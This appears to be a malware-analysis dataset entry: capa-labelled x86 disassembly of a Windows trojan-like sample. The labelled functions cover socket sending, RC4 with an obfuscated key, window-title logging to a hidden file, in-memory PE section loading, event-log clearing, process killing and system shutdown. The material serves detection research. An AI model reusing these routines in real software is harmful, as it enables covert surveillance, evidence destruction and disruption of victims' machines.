joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c70
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x401cda
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401cb9
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x401c96
cmp dword [esp + 0x1c], 0xf
je 0x401d10
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x401c8e
test ebx, ebx
jle 0x401d04
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401cfb
inc esi
cmp esi, 0xf
jl 0x401ce0
cmp esi, 0xf
je 0x401d10
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x401d13
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x401ea0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x401eca
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x401f1a
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x401ef9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret

Function at 0x401f40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x401fcc
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x401f6b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x401f88
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x401fb6
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x401f5a
pop ebp
pop ebx
pop edi
pop esi
ret
Function at 0x401fd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10c
lea eax, [esp]
push 0xa
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0xc], 0x4b
mov byte [esp + 0xd], 0x6f
mov byte [esp + 0xe], 0x74
mov byte [esp + 0xf], 0x68
mov byte [esp + 0x10], 0x65
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], 0x31
mov byte [esp + 0x13], 0x36
mov byte [esp + 0x14], 0x38
mov byte [esp + 0x15], 0
call fcn.00401ea0
mov edx, dword [esp + 0x120]
mov eax, dword [esp + 0x11c]
push edx
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00401f40
add esp, 0x124
ret

Function at 0x402040
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
push 0
lea eax, [esp + 0x18]
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
or ecx, 0xffffffff
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x18]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str.Sever
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x28]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x402123
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call fcn.00422518
add esp, 4
mov edi, eax
test esi, esi
jle 0x402152
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x402146
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x402180
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
mov edi, 0x439140
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x439140
push eax
mov dword [0x439540], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x43913c]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x439540]
cmp eax, ecx
je 0x40227b
push 0x439140
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40226f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x439140
lea edx, [esp + 0x34]
push 0x431b50
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.00402040
add esp, 0x28
mov ecx, pe_nt_image_headers32
xor eax, eax
mov edi, 0x439140
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x439540]
mov dword [0x43913c], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret

Function at 0x4025e0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x4026a1
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x40264b
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x40267f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x40267f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40260e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4026b0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x402764
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x402707
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40274a
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x431610]
je 0x40271e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x402737
test al, 0x40
je 0x40272e
mov ecx, dword [ebx + 0x20]
jmp 0x402735
test al, 0x80
je 0x40274a
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x40274a
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x4026d4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x402ca0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x158
push ebx
push ebp
mov ebp, dword [esp + 0x164]
push edi
push 0x2f
push ebp
call fcn.004138e0
mov ebx, eax
add esp, 8
inc ebx
jne 0x402ccc
pop edi
pop ebp
xor al, al
pop ebx
add esp, 0x158
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x60]
push esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0x64]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x64]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x64]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x64]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebp
call fcn.0040bbe0
add esp, 8
test al, al
pop esi
jne 0x402d5e
pop edi
pop ebp
pop ebx
add esp, 0x158
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0x44
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push ebx
mov dword [esp + 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
pop ebp
pop ebx
neg eax
add esp, 0x158
ret
Function at 0x402db0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x158
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x160]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402e8f
mov ecx, 0x41
lea edi, [esp + 0x5c]
push eax
push 0x104
rep stosd dword es:[edi], eax
push eax
lea eax, [esp + 0x68]
push eax
push 1
push 0
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
call fcn.0040a040
add esp, 0x20
test eax, eax
je 0x402e8f
lea ecx, [esp + 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x402e8f
lea edx, [esp + 0x5c]
push 0x431bb8
push edx
call fcn.00413030
add esp, 8
test eax, eax
je 0x402e8f
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x168]
mov dword [esp + 8], 0x44
test eax, eax
je 0x402e5d
mov dword [esp + 0x10], str.WinSta0Default
jmp 0x402e6c
mov dword [esp + 0x34], 1
mov word [esp + 0x38], 0
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x78]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x158
ret

Function at 0x402ea0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.0040bd10
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.0040bd10
add esp, 8
ret

Function at 0x402ed0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x402f20
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x402f07
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x403120
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4031f4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push ebp
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4031ed
mov edi, dword [esp + 0x13c]
lea esi, [esp + 0x34]
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x40318e
test cl, cl
je 0x40318a
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x40318e
add eax, 2
add esi, 2
test cl, cl
jne 0x403166
xor eax, eax
jmp 0x403193
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4031dd
lea eax, [esp + 0x10]
push eax
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4031ed
lea esi, [esp + 0x34]
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4031d4
test cl, cl
je 0x4031d0
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4031d4
add eax, 2
add esi, 2
test cl, cl
jne 0x4031ac
xor eax, eax
jmp 0x4031d9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403197
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x128
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret
Function at 0x403210
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x4275a3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov dword [esp + 0x144], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4032e6
lea ecx, [esp + 0x144]
call fcn.00422a64
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4032d8
lea edx, [esp + 0x30]
lea ecx, [esp + 8]
push edx
call fcn.00422801
lea ecx, [esp + 8]
mov byte [esp + 0x13c], 1
call fcn.00422a64
mov eax, dword [esp + 0x144]
mov ecx, dword [esp + 8]
push eax
push ecx
call fcn.00413a41
add esp, 8
test eax, eax
je 0x403316
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.00422a1c
lea ecx, [esp + 8]
mov byte [esp + 0x13c], bl
call fcn.004227d7
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403276
push 0xffffffffffffffff
lea ecx, [esp + 0x148]
call fcn.00422a1c
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], 0xffffffff
call fcn.004227d7
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x12c]
mov dword fs:[0], ecx
add esp, 0x138
ret
mov eax, dword [esp + 0x14]
push eax
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.00422a1c
push 0xffffffffffffffff
lea ecx, [esp + 0x148]
call fcn.00422a1c
lea ecx, [esp + 8]
mov byte [esp + 0x13c], bl
call fcn.004227d7
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], 0xffffffff
call fcn.004227d7
mov ecx, dword [esp + 0x134]
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret

Function at 0x403d40
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x403d66
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret
Function at 0x403e70
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
sub esp, 0x348
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x49]
mov byte [esp + 0x48], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x251]
mov byte [esp + 0x250], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x14d]
mov byte [esp + 0x14c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x48]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x48]
push 0x104
lea edx, [esp + 0x4c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x250]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x14c]
push str._c_attrib
push ecx
call esi
lea edx, [esp + 0x48]
lea eax, [esp + 0x14c]
push edx
push eax
call esi
lea ecx, [esp + 0x14c]
push str._s_h
push ecx
call esi
lea ecx, [esp + 0xc]
lea edx, [esp + 0x250]
lea eax, [esp + 0x14c]
push ecx
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], str.Open
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x14], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x403fc4
mov edx, dword [esp + 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [esp + 0x48]
push ebx
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x348
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x348
ret

Function at 0x403fd0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x10]
mov dword [esp + 0xc], 0x128
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x30]
push str.explorer.exe
push ecx
call fcn.0041a670
add esp, 8
test eax, eax
jne 0x404039
mov edx, dword [esp + 0x14]
push edx
push eax
push 1
call esi
test eax, eax
je 0x404039
push 0
push eax
call edi
lea eax, [esp + 0xc]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x404010
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x128
ret
Function at 0x4042f0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x404324
pop edi
pop ebx
add esp, 0x128
ret
push ebp
mov ebp, dword [esp + 0x138]
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40437b
mov esi, ebp
lea eax, [esp + 0x34]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40436e
test cl, cl
je 0x40436a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40436e
add eax, 2
add esi, 2
test cl, cl
jne 0x40434a
xor eax, eax
jmp 0x404373
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40432d
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
mov eax, ebx
pop edi
pop ebx
add esp, 0x128
ret

Function at 0x4044f0
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
push 0
push 0x4044a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x7d0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret

Function at 0x404520
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ax, word [esp]
cmp al, 2
jne 0x404553
xor ecx, ecx
mov cl, ah
cmp cl, al
jne 0x404553
mov eax, 1
add esp, 0x190
ret
xor eax, eax
add esp, 0x190
ret